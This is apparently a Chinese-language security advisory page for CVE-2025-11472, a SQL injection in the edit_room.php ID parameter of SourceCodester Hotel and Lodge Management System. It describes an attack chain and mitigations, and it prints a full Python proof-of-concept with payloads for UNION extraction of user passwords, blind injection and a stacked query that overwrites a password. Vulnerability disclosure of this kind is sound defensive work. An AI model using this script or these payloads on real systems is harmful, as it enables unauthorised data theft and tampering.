IPBUF安全漏洞报告
English
CVE-2025-11472 CVSS 7.3 高危

CVE-2025-11472 SourceCodester酒店管理系统SQL注入漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11472
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Hotel and Lodge Management System

相关标签

SQL注入SourceCodesterHotel and Lodge Management Systemedit_room.php高危漏洞CVE-2025-11472远程利用无需认证PHPWeb应用漏洞

漏洞概述

CVE-2025-11472是SourceCodester Hotel and Lodge Management System 1.0版本中存在的SQL注入安全漏洞。该漏洞由安全研究人员发现并报告给vuldb.com,披露日期为2025年10月8日。漏洞存在于系统的/edit_room.php文件中,具体位于对ID参数的处理逻辑中。攻击者可以通过构造恶意的SQL语句作为ID参数的值,实现对数据库的未授权操作。

根据CVSS 3.1评分体系,该漏洞评分为7.3分,属于高危级别。从攻击向量来看,该漏洞可以通过网络远程利用(AV:N),攻击复杂度低(AC:L),无需任何特权或认证(PR:N),也无需用户交互(UI:N)。这意味着任何能够访问目标系统的攻击者都可以轻松发起攻击。

该漏洞对系统的机密性、完整性和可用性均产生低级别影响(C:L/I:L/A:L),但由于利用难度极低且可远程执行,已被公开发布利用方式,对使用该系统的用户构成严重威胁。SourceCodester作为开源代码分享平台,其发布的系统被广泛用于学习和小型商业场景,因此该漏洞的影响范围可能较大。

技术细节

该SQL注入漏洞位于SourceCodester Hotel and Lodge Management System 1.0的/edit_room.php文件中。漏洞的根本原因是程序在处理用户提交的ID参数时,未对其进行充分的输入验证和参数化处理,直接将用户输入拼接到SQL查询语句中执行。

技术原理分析:
1. edit_room.php文件负责处理房间信息的编辑功能,通常会通过GET或POST方式接收房间ID作为参数;
2. 程序接收到ID参数后,未使用预编译语句(Prepared Statements)或存储过程,而是直接将参数值嵌入到SQL查询中;
3. 攻击者可以通过在ID参数中注入SQL元字符(如单引号、UNION、SELECT等),改变原始SQL语句的逻辑;
4. 典型的注入payload示例:' OR '1'='1、' UNION SELECT 1,2,3-- 等;
5. 成功利用后,攻击者可以绕过认证、读取敏感数据(如管理员密码哈希)、修改或删除数据库内容,甚至在特定条件下执行系统命令。

利用条件:
- 目标系统部署了SourceCodester Hotel and Lodge Management System 1.0版本;
- /edit_room.php文件可通过Web访问;
- 数据库服务正常运行;
- 攻击者无需任何认证凭据即可发起攻击。

该漏洞已被公开披露,且存在公开的利用代码(PoC),攻击者可利用Metasploit框架或其他自动化工具进行批量扫描和利用。

攻击链分析

STEP 1
步骤1:目标识别
攻击者通过网络扫描或搜索引擎识别运行SourceCodester Hotel and Lodge Management System 1.0的目标系统,定位/edit_room.php端点。
STEP 2
步骤2:漏洞探测
攻击者向/edit_room.php的ID参数提交包含特殊字符(如单引号)的测试payload,通过观察响应中的数据库错误信息确认SQL注入漏洞的存在。
STEP 3
步骤3:注入利用
攻击者构造UNION SELECT、布尔盲注或时间盲注payload,通过SQL注入提取数据库中的敏感信息,包括管理员凭据、用户数据等。
STEP 4
步骤4:权限提升与数据窃取
利用获取的管理员凭据登录系统后端,或直接通过SQL注入读取、修改数据库内容,获取系统完整控制权。
STEP 5
步骤5:持久化与影响扩大
攻击者可能在系统中植入后门、修改关键数据或利用获取的数据库信息进一步攻击关联系统,造成数据泄露和服务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11472 - SourceCodester Hotel and Lodge Management System SQL Injection PoC # Vulnerability: SQL Injection in /edit_room.php via ID parameter # Author: Security Researcher import requests import sys TARGET_URL = "http://target.com" INJECTION_PATH = "/edit_room.php" def exploit_sql_injection(target_url, injection_payload): """ Exploit SQL injection vulnerability in edit_room.php ID parameter """ target_endpoint = target_url.rstrip('/') + INJECTION_PATH # Construct malicious ID parameter with SQL injection payload params = { 'id': injection_payload } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Connection': 'keep-alive', } try: response = requests.get(target_endpoint, params=params, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request successful - Status: {response.status_code}") print(f"[+] Response length: {len(response.text)}") # Check for database error messages indicating SQL injection vulnerability error_indicators = [ "You have an error in your SQL syntax", "mysql_fetch_array()", "mysql_num_rows()", "Warning: mysql", "Unclosed quotation mark", "SQLSTATE" ] for indicator in error_indicators: if indicator.lower() in response.text.lower(): print(f"[+] SQL Injection confirmed - Found indicator: {indicator}") return True print("[*] No explicit error indicators found, but request was processed") return True else: print(f"[-] Request failed - Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {str(e)}") return False def test_injection_payloads(target_url): """Test various SQL injection payloads against the target""" payloads = [ # Basic SQL injection test "1' OR '1'='1", # Union-based injection to extract data "1' UNION SELECT 1,2,3-- -", "1' UNION SELECT username,password,3 FROM users-- -", # Boolean-based blind injection "1' AND 1=1-- -", "1' AND 1=2-- -", # Time-based blind injection "1' AND SLEEP(5)-- -", # Error-based injection "1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -", # Stacked queries "1'; UPDATE users SET password='hacked' WHERE id=1-- -", ] print(f"[*] Testing SQL injection on: {target_url}") print("=" * 60) for i, payload in enumerate(payloads, 1): print(f"\n[*] Testing payload {i}: {payload[:50]}...") result = exploit_sql_injection(target_url, payload) if result: print(f"[+] Payload {i} may be successful") def extract_database_info(target_url): """Attempt to extract database information using UNION-based injection""" print("\n[*] Attempting to extract database information...") # Try to determine number of columns for i in range(1, 15): columns = ",".join([str(x) for x in range(1, i+1)]) payload = f"1' UNION SELECT {columns}-- -" try: response = requests.get( target_url.rstrip('/') + INJECTION_PATH, params={'id': payload}, timeout=10 ) if response.status_code == 200 and "error" not in response.text.lower(): print(f"[+] Number of columns: {i}") return i except: continue return None if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = TARGET_URL test_injection_payloads(target) extract_database_info(target) print("\n[*] Exploitation complete") print("[*] Recommend checking extracted data and securing the application")

影响范围

SourceCodester Hotel and Lodge Management System 1.0

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)通过Web服务器配置限制对/edit_room.php文件的直接访问;2)部署WAF规则过滤SQL注入特征字符(如单引号、UNION、SELECT等关键字);3)修改源代码,对ID参数进行严格的整数类型验证;4)关闭数据库的详细错误信息显示;5)监控异常数据库查询和访问日志,及时发现攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表